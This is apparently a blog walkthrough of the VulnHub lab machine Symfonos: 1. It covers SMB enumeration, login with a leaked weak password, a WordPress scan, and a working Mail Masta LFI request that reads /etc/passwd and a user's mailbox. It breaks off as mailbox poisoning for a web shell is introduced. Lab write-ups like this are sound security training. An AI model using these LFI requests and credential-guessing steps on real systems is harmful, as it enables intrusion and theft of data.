Name : Symfonos: 1
Difficulty : Beginner
Type : boot2root
Source : VulnHub
URL : https://www.vulnhub.com/entry/symfonos-1,322/
Entry : 10 / 30
Welcome to the walkthrough for Symfonos: 1, a boot2root CTF found on VulnHub. This is the tenth VM in my VulnHub Challenge, and the final one in the “beginner” category!
The Symfonos family of virtual machines are more recent entries, with Symfonos: 1 being released on June 29, 2019. Even though this is a recent release, it certainly has some pretty familiar challenges, including some SMB mis-configurations, some vulnerable Wordpress plug-ins, log poisoning, LFI, relative path names for commands, plus a few more challenges. Overall this was a fun machine with a lot to learn if you haven’t faced these types of challenges before.
Goal
As with most CTFs from VulnHub, the goal is to get the text file which serves as the flag from the /root
directory.
Setup
I’m switching from VMWWare Player to VirtualBox this time to host Kali and the Symfonos: 1 image, with both VMs running in a NAT network. The main reason is due to a problem I ran into when enumerating SMB users with nmap
. Unfortunately I ran into the same issue on another machine with nmap even with VirtualBox, but I’m already committed for this writeup so I’m not switching.
Discovery
I use netdiscover
to search for the IP address of the target VM:
root@kali:~# netdiscover -r 10.0.2.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.2.1 52:54:00:12:35:00 1 60 Unknown vendor
10.0.2.2 52:54:00:12:35:00 1 60 Unknown vendor
10.0.2.3 08:00:27:b2:e1:51 1 60 PCS Systemtechnik GmbH
10.0.2.12 08:00:27:2a:7c:fd 1 60 PCS Systemtechnik GmbH
So it looks like 10.0.2.12
is our target IP, given the IP for my Kali machine is 10.0.2.10
.
Scanning
I’ll start with a quick nmap
scan to look for open ports, then do a second scan that does a deeper dive into the services behind the open ports using the -sC
and -sV
flags:
root@kali:~# nmap 10.0.2.12
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-23 15:50 EDT
Nmap scan report for 10.0.2.12
Host is up (0.000092s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 08:00:27:2A:7C:FD (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
root@kali:~# nmap -sC -sV -p22,25,80,139,445 10.0.2.12
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-23 15:51 EDT
Nmap scan report for 10.0.2.12
Host is up (0.00040s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 ab:5b:45:a7:05:47:a5:04:45:ca:6f:18:bd:18:03:c2 (RSA)
| 256 a0:5f:40:0a:0a:1f:68:35:3e:f4:54:07:61:9f:c6:4a (ECDSA)
|_ 256 bc:31:f5:40:bc:08:58:4b:fb:66:17:ff:84:12:ac:1d (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8,
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:2A:7C:FD (Oracle VirtualBox virtual NIC)
Service Info: Hosts: symfonos.localdomain, SYMFONOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
|_nbstat: NetBIOS name: SYMFONOS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown
> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.16-Debian)
| Computer name: symfonos
| NetBIOS computer name: SYMFONOS\x00
| Domain name: \x00
| FQDN: symfonos
|_ System time: 2019-09-23T14:51:27-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-09-23T19:51:27
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.90 seconds
Excellent. There are a few interesting services here, but the first one I want to go after is the Samba service. The main reason is that I want to look for unauthenticated shares or other “goodies” that may be available.
SMB Reconnaissance
I can see from the nmap
scan that there is an available SMB share on the symfonos
system. I’m going to use smpmap
to look for more information:
root@kali:~# smbmap -H 10.0.2.12
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.0.2.12...
[+] IP: 10.0.2.12:445 Name: 10.0.2.12
Disk Permissions
---- -----------
print$ NO ACCESS
helios NO ACCESS
anonymous READ ONLY
IPC$ NO ACCESS
Interesting! Seems there is an anonymous
share that is read-only. I’m going to see what it contains by connecting to it using smbclient
:
root@kali:~# smbclient -N \\\\10.0.2.12\\anonymous
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jun 28 21:14:49 2019
.. D 0 Fri Jun 28 21:12:15 2019
attention.txt N 154 Fri Jun 28 21:14:49 2019
19994224 blocks of size 1024. 17305696 blocks available
smb: \> get attention.txt
getting file \attention.txt of size 154 as attention.txt (75.2 KiloBytes/sec) (average 75.2 KiloBytes/sec)
smb: \> exit
root@kali:~# cat attention.txt
Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!
Next person I find using one of these passwords will be fired!
-Zeus
root@kali:~#
SMB Users
That was most informative! So now I have a few known bad passwords! Next up is trying to find some usernames. I know that Zeus wrote the note, but I’m not sure that’s his username. No problem, I know that nmap
has the smb-enum-users
script to enumerate SMB usernames. Unfortunately this did not work for me even on VirtualBox (I’m still not sure why, but I’m on an OSX machine right now and I ran into the same problem. VirtualBox on Windows seems to work though), so I’m going to go with my backup plan.
In case nmap
doesn’t work (as was the case here), then Metasploit is another option. Using the auxiliary/scanner/smb/smb_enumusers
module, you can also enumerate SMB users:
root@kali:~# msfconsole
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v5.0.47-dev ]
+ -- --=[ 1926 exploits - 1076 auxiliary - 330 post ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops ]
+ -- --=[ 5 evasion ]
[*] Starting persistent handler(s)...
msf5 > use auxiliary/scanner/smb/smb_enumusers
msf5 auxiliary(scanner/smb/smb_enumusers) > show options
Module options (auxiliary/scanner/smb/smb_enumusers):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
msf5 auxiliary(scanner/smb/smb_enumusers) > set RHOSTS 10.0.2.12
RHOSTS => 10.0.2.12
msf5 auxiliary(scanner/smb/smb_enumusers) > exploit
[+] 10.0.2.12:139 - SYMFONOS [ helios ] ( LockoutTries=0 PasswordMin=5 )
[*] 10.0.2.12: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/smb_enumusers) >
In both cases I can see that the helios
username is available. Next up is to do some more testing with this user.
SMB Escalation
I have a username and I have a list of bad passwords (thanks Zeus!). Now let me see if I can marry the two. I’ll use smbclient
to test the various passwords for the helios
user against the helios
share. I repeat the process until I find that the password qwerty
works:
root@kali:~# smbclient -U helios -I 10.0.2.12 \\\\10.0.2.12\\helios qwerty
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jun 28 20:32:05 2019
.. D 0 Fri Jun 28 20:37:04 2019
research.txt A 432 Fri Jun 28 20:32:05 2019
todo.txt A 52 Fri Jun 28 20:32:05 2019
19994224 blocks of size 1024. 17305696 blocks available
smb: \> get research.txt
getting file \research.txt of size 432 as research.txt (210.9 KiloBytes/sec) (average 210.9 KiloBytes/sec)
smb: \> get todo.txt
getting file \todo.txt of size 52 as todo.txt (16.9 KiloBytes/sec) (average 127.8 KiloBytes/sec)
smb: \> exit
root@kali:~# cat research.txt
Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot which brought the Sun across the skies each day from the east (Ethiopia) to the west (Hesperides) while at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famously the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of the Ancient World.
root@kali:~# cat todo.txt
1. Binge watch Dexter
2. Dance
3. Work on /h3l105
root@kali:~#
So I found the research.txt
and todo.txt
files in the helios
share. The first contains some details on Greek mythology, while the other contains a task list of sorts. The interesting fact is the final item in todo.txt
, which seems to be pointing to a web address. I think it’s time to see what that is exactly.
Web Reconnaissance
As with other CTFs, I’m going to start with a simple curl
and see what I can pull down from the main URL:
root@kali:~# curl -v http://10.0.2.12/
* Trying 10.0.2.12:80...
* TCP_NODELAY set
* Connected to 10.0.2.12 (10.0.2.12) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.0.2.12
> User-Agent: curl/7.65.3
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 23 Sep 2019 20:28:49 GMT
< Server: Apache/2.4.25 (Debian)
< Last-Modified: Sat, 29 Jun 2019 00:38:05 GMT
< ETag: "148-58c6b9bb3bc5b"
< Accept-Ranges: bytes
< Content-Length: 328
< Vary: Accept-Encoding
< Content-Type: text/html
<
<html>
<head>
<style>
html,body{
margin:0;
height:100%;
overflow:hidden;
}
img{
min-height:100%;
min-width:100%;
height:auto;
width:auto;
position:absolute;
top:-100%; bottom:-100%;
left:-100%; right:-100%;
margin:auto;
}
</style>
</head>
<body>
<img src="image.jpg">
</body>
</html>
* Connection #0 to host 10.0.2.12 left intact
Nothing terribly exciting. The image.jpg
image is actually the header image use for this writeup and is just an image - no stenographic messages hidden within (I checked). But what about the /h3l105
path?
root@kali:~# curl -L -v http://10.0.2.12/h3l105
* Trying 10.0.2.12:80...
* TCP_NODELAY set
* Connected to 10.0.2.12 (10.0.2.12) port 80 (#0)
> GET /h3l105 HTTP/1.1
> Host: 10.0.2.12
> User-Agent: curl/7.65.3
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Mon, 23 Sep 2019 20:31:13 GMT
< Server: Apache/2.4.25 (Debian)
< Location: http://10.0.2.12/h3l105/
< Content-Length: 307
< Content-Type: text/html; charset=iso-8859-1
<
* Ignoring the response-body
* Connection #0 to host 10.0.2.12 left intact
* Issue another request to this URL: 'http://10.0.2.12/h3l105/'
* Found bundle for host 10.0.2.12: 0x55bbfa67fe80 [serially]
* Can not multiplex, even if we wanted to!
* Re-using existing connection! (#0) with host 10.0.2.12
* Connected to 10.0.2.12 (10.0.2.12) port 80 (#0)
> GET /h3l105/ HTTP/1.1
> Host: 10.0.2.12
> User-Agent: curl/7.65.3
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 23 Sep 2019 20:31:13 GMT
< Server: Apache/2.4.25 (Debian)
< Link: <http://symfonos.local/h3l105/index.php/wp-json/>; rel="https://api.w.org/"
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
<
<!doctype html>
<html lang="en-US">
<head>
<!-- Built With SiteEditor | http://www.siteeditor.org -->
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="profile" href="https://gmpg.org/xfn/11" />
<title>helios site – Just another WordPress site</title>
<link rel='dns-prefetch' href='//symfonos.local' />
<link rel='dns-prefetch' href='//s.w.org' />
<snip>
...
Looks like a Wordpress site! Also it seems to be making reference to symfonos.local
, so I’ll edit my /etc/hosts
file and then browse to the site to see what it looks like.
Nothing really stands out to me, which means it’s time to switch gears and use a tool like wpscan
to look for vulnerabilities.
Wordpress Vulnerability Scanning
The wpscan
tool is great for searching for vulnerabilities in a Wordpress installation. Not only will it check the version of Wordpress, but it will also scan for vulnerable plugins, themes, and a whole lot more. It also comes pre-installed on Kali. I’d recommend running wpscan --update
first, just to update the DB.
root@kali:~# wpscan --url http://symfonos.local/h3l105 -e --api-token <my API Token from https://wpvulndb.com>
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.7.1
WPScan.io - Online WordPress Vulnerability Scanner
@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________
[+] URL: http://symfonos.local/h3l105/
[+] Started: Tue Sep 24 13:11:36 2019
Interesting Finding(s):
[+] http://symfonos.local/h3l105/
| Interesting Entry: Server: Apache/2.4.25 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] http://symfonos.local/h3l105/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] http://symfonos.local/h3l105/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://symfonos.local/h3l105/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] http://symfonos.local/h3l105/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.2.2 identified (Insecure, released on 2019-06-18).
| Detected By: Rss Generator (Passive Detection)
| - http://symfonos.local/h3l105/index.php/feed/, <generator>https://wordpress.org/?v=5.2.2</generator>
| - http://symfonos.local/h3l105/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.2</generator>
|
| [!] 6 vulnerabilities identified:
|
| [!] Title: WordPress 5.2.2 - Cross-Site Scripting (XSS) in Stored Comments
| Fixed in: 5.2.3
| References:
| - https://wpvulndb.com/vulnerabilities/9861
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16218
| - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
|
| [!] Title: WordPress 5.2.2 - Authenticated Cross-Site Scripting (XSS) in Post Previews
| Fixed in: 5.2.3
| References:
| - https://wpvulndb.com/vulnerabilities/9862
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16223
| - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
|
| [!] Title: WordPress 5.2.2 - Potential Open Redirect
| Fixed in: 5.2.3
| References:
| - https://wpvulndb.com/vulnerabilities/9863
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16220
| - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/c86ee39ff4c1a79b93c967eb88522f5c09614a28
|
| [!] Title: WordPress 5.0-5.2.2 - Authenticated Stored XSS in Shortcode Previews
| Fixed in: 5.2.3
| References:
| - https://wpvulndb.com/vulnerabilities/9864
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16219
| - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
| - https://fortiguard.com/zeroday/FG-VD-18-165
| - https://www.fortinet.com/blog/threat-research/wordpress-core-stored-xss-vulnerability.html
|
| [!] Title: WordPress 5.2.2 - Cross-Site Scripting (XSS) in Dashboard
| Fixed in: 5.2.3
| References:
| - https://wpvulndb.com/vulnerabilities/9865
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16221
| - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
|
| [!] Title: WordPress <= 5.2.2 - Cross-Site Scripting (XSS) in URL Sanitisation
| Fixed in: 5.2.3
| References:
| - https://wpvulndb.com/vulnerabilities/9867
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16222
| - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/30ac67579559fe42251b5a9f887211bf61a8ed68
[+] WordPress theme in use: twentynineteen
| Location: http://symfonos.local/h3l105/wp-content/themes/twentynineteen/
| Latest Version: 1.4 (up to date)
| Last Updated: 2019-05-07T00:00:00.000Z
| Readme: http://symfonos.local/h3l105/wp-content/themes/twentynineteen/readme.txt
| Style URL: http://symfonos.local/h3l105/wp-content/themes/twentynineteen/style.css?ver=1.4
| Style Name: Twenty Nineteen
| Style URI: https://wordpress.org/themes/twentynineteen/
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Detected By: Css Style (Passive Detection)
|
| Version: 1.4 (80% confidence)
| Detected By: Style (Passive Detection)
| - http://symfonos.local/h3l105/wp-content/themes/twentynineteen/style.css?ver=1.4, Match: 'Version: 1.4'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] mail-masta
| Location: http://symfonos.local/h3l105/wp-content/plugins/mail-masta/
| Latest Version: 1.0 (up to date)
| Last Updated: 2014-09-19T07:52:00.000Z
|
| Detected By: Urls In Homepage (Passive Detection)
|
| [!] 2 vulnerabilities identified:
|
| [!] Title: Mail Masta 1.0 - Unauthenticated Local File Inclusion (LFI)
| References:
| - https://wpvulndb.com/vulnerabilities/8609
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10956
| - https://www.exploit-db.com/exploits/40290/
| - https://cxsecurity.com/issue/WLB-2016080220
|
| [!] Title: Mail Masta 1.0 - Multiple SQL Injection
| References:
| - https://wpvulndb.com/vulnerabilities/8740
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6095
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6096
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6097
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6098
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6570
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6571
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6572
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6573
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6574
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6575
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6576
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6577
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6578
| - https://github.com/hamkovic/Mail-Masta-Wordpress-Plugin
|
| Version: 1.0 (100% confidence)
| Detected By: Readme - Stable Tag (Aggressive Detection)
| - http://symfonos.local/h3l105/wp-content/plugins/mail-masta/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://symfonos.local/h3l105/wp-content/plugins/mail-masta/readme.txt
[+] site-editor
| Location: http://symfonos.local/h3l105/wp-content/plugins/site-editor/
| Latest Version: 1.1.1 (up to date)
| Last Updated: 2017-05-02T23:34:00.000Z
|
| Detected By: Urls In Homepage (Passive Detection)
|
| [!] 1 vulnerability identified:
|
| [!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)
| References:
| - https://wpvulndb.com/vulnerabilities/9044
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7422
| - http://seclists.org/fulldisclosure/2018/Mar/40
| - https://github.com/SiteEditor/editor/issues/2
|
| Version: 1.1.1 (80% confidence)
| Detected By: Readme - Stable Tag (Aggressive Detection)
| - http://symfonos.local/h3l105/wp-content/plugins/site-editor/readme.txt
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:00 <==================================================================================> (311 / 311) 100.00% Time: 00:00:00
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] No themes Found.
[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:03 <================================================================================> (2573 / 2573) 100.00% Time: 00:00:03
[i] No Timthumbs Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <=====================================================================================> (21 / 21) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[+] Enumerating DB Exports (via Passive and Aggressive Methods)
Checking DB Exports - Time: 00:00:00 <=========================================================================================> (36 / 36) 100.00% Time: 00:00:00
[i] No DB Exports Found.
[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
Brute Forcing Attachment IDs - Time: 00:00:01 <==============================================================================> (100 / 100) 100.00% Time: 00:00:01
[i] No Medias Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <====================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] admin
| Detected By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://symfonos.local/h3l105/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] WPVulnDB API OK
| Plan: free
| Requests Done (during the scan): 4
| Requests Remaining: 44
[+] Finished: Tue Sep 24 13:11:45 2019
[+] Requests Done: 3101
[+] Cached Requests: 9
[+] Data Sent: 825.761 KB
[+] Data Received: 974.091 KB
[+] Memory used: 179.461 MB
[+] Elapsed time: 00:00:09
There are a few things to note here:
- I had to register for an API token from https://wpvulndb.com because I was using the latest version of
wpscan
- I am using the proper DNS hostname rather than IP
- This is important! IF you don’t do this, you will not get the appropriate plugins returned via
wpscan
- This is important! IF you don’t do this, you will not get the appropriate plugins returned via
- I enumerated everything using the
-e
flag, just to get full visibility (and the fact that we’re in a CTF environment)- If this were an engagement, I would stick with the
-e u,vp
flag to focus my enumeration on users and vulnerable plug-ins
- If this were an engagement, I would stick with the
- There are a few vulnerable plug-ins, which is what I was looking for!
It appears that the Mail Masta plug-in is vulnerable to an LFI attack. After I looked at the vulnerability details, I tried the proof-of-concept (PoC) and tried it on this site:
root@kali:~# curl -s http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
Debian-exim:x:105:109::/var/spool/exim4:/bin/false
messagebus:x:106:111::/var/run/dbus:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
helios:x:1000:1000:,,,:/home/helios:/bin/bash
mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false
postfix:x:109:115::/var/spool/postfix:/bin/false
Success! I have managed to pull down /etc/passwd
from the target system!
SMTP Hacking or Fun & Profit
Now that I have a working LFI exploit, I’m going to try to see what else I can grab. My attempts to grab the wp-config.php
file failed, but I do know that there is a helios
user, and I know that there is an SMTP server running on the host. I’m going to see if I can get access to the mailbox file for helios
:
root@kali:~# curl -s http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios
From root@symfonos.localdomain Fri Jun 28 21:08:55 2019
Return-Path: <root@symfonos.localdomain>
X-Original-To: root
Delivered-To: root@symfonos.localdomain
Received: by symfonos.localdomain (Postfix, from userid 0)
id 3DABA40B64; Fri, 28 Jun 2019 21:08:54 -0500 (CDT)
From: root@symfonos.localdomain (Cron Daemon)
To: root@symfonos.localdomain
Subject: Cron <root@symfonos> dhclient -nw
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
Message-Id: <20190629020855.3DABA40B64@symfonos.localdomain>
Date: Fri, 28 Jun 2019 21:08:54 -0500 (CDT)
/bin/sh: 1: dhclient: not found
From MAILER-DAEMON Mon Sep 23 10:07:22 2019
Return-Path: <>
X-Original-To: helios@symfonos.localdomain
Delivered-To: helios@symfonos.localdomain
Received: by symfonos.localdomain (Postfix)
id 4302B40B76; Mon, 23 Sep 2019 10:07:22 -0500 (CDT)
Date: Mon, 23 Sep 2019 10:07:22 -0500 (CDT)
From: MAILER-DAEMON@symfonos.localdomain (Mail Delivery System)
Subject: Undelivered Mail Returned to Sender
To: helios@symfonos.localdomain
Auto-Submitted: auto-replied
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
boundary="2EE7C40AB0.1569251242/symfonos.localdomain"
Content-Transfer-Encoding: 8bit
Message-Id: <20190923150722.4302B40B76@symfonos.localdomain>
This is a MIME-encapsulated message.
--2EE7C40AB0.1569251242/symfonos.localdomain
Content-Description: Notification
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
This is the mail system at host symfonos.localdomain.
I'm sorry to have to inform you that your message could not
be delivered to one or more recipients. It's attached below.
For further assistance, please send mail to postmaster.
If you do so, please include this problem report. You can
delete your own text from the attached returned message.
The mail system
<helios@blah.com>: Host or domain name not found. Name service error for
name=blah.com type=MX: Host not found, try again
--2EE7C40AB0.1569251242/symfonos.localdomain
Content-Description: Delivery report
Content-Type: message/delivery-status
Reporting-MTA: dns; symfonos.localdomain
X-Postfix-Queue-ID: 2EE7C40AB0
X-Postfix-Sender: rfc822; helios@symfonos.localdomain
Arrival-Date: Fri, 28 Jun 2019 19:46:02 -0500 (CDT)
Final-Recipient: rfc822; helios@blah.com
Original-Recipient: rfc822;helios@blah.com
Action: failed
Status: 4.4.3
Diagnostic-Code: X-Postfix; Host or domain name not found. Name service error
for name=blah.com type=MX: Host not found, try again
--2EE7C40AB0.1569251242/symfonos.localdomain
Content-Description: Undelivered Message
Content-Type: message/rfc822
Content-Transfer-Encoding: 8bit
Return-Path: <helios@symfonos.localdomain>
Received: by symfonos.localdomain (Postfix, from userid 1000)
id 2EE7C40AB0; Fri, 28 Jun 2019 19:46:02 -0500 (CDT)
To: helios@blah.com
Subject: New WordPress Site
X-PHP-Originating-Script: 1000:class-phpmailer.php
Date: Sat, 29 Jun 2019 00:46:02 +0000
From: WordPress <wordpress@192.168.201.134>
Message-ID: <65c8fc37d21cc0046899dadd559f3bd1@192.168.201.134>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Your new WordPress site has been successfully set up at:
http://192.168.201.134/h3l105
You can log in to the administrator account with the following information:
Username: admin
Password: The password you chose during installation.
Log in here: http://192.168.201.134/h3l105/wp-login.php
We hope you enjoy your new site. Thanks!
--The WordPress Team
https://wordpress.org/
--2EE7C40AB0.1569251242/symfonos.localdomain--
Excellent, I have the ability to get the mailbox and retrieve it through my LFI exploit on the Wordpress site! Now it’s time to have some fun and use some OSCP techniques I learned.
Mailbox Poisioning
Let me review what I can do:
- I have access to an LFI exploit via a vulnerable Wordpress plug-in.
- I can access the
helios
user’s mailbox via the LFI exploit. - I have confirmed that the server is running an SMTP server (thanks
nmap
!)
Next up is a plan to get a simple web shell on the site. But how can I do that if I don’t have any upload path? Simple - I poison another file. Here’s the gist of what I’m going to do:
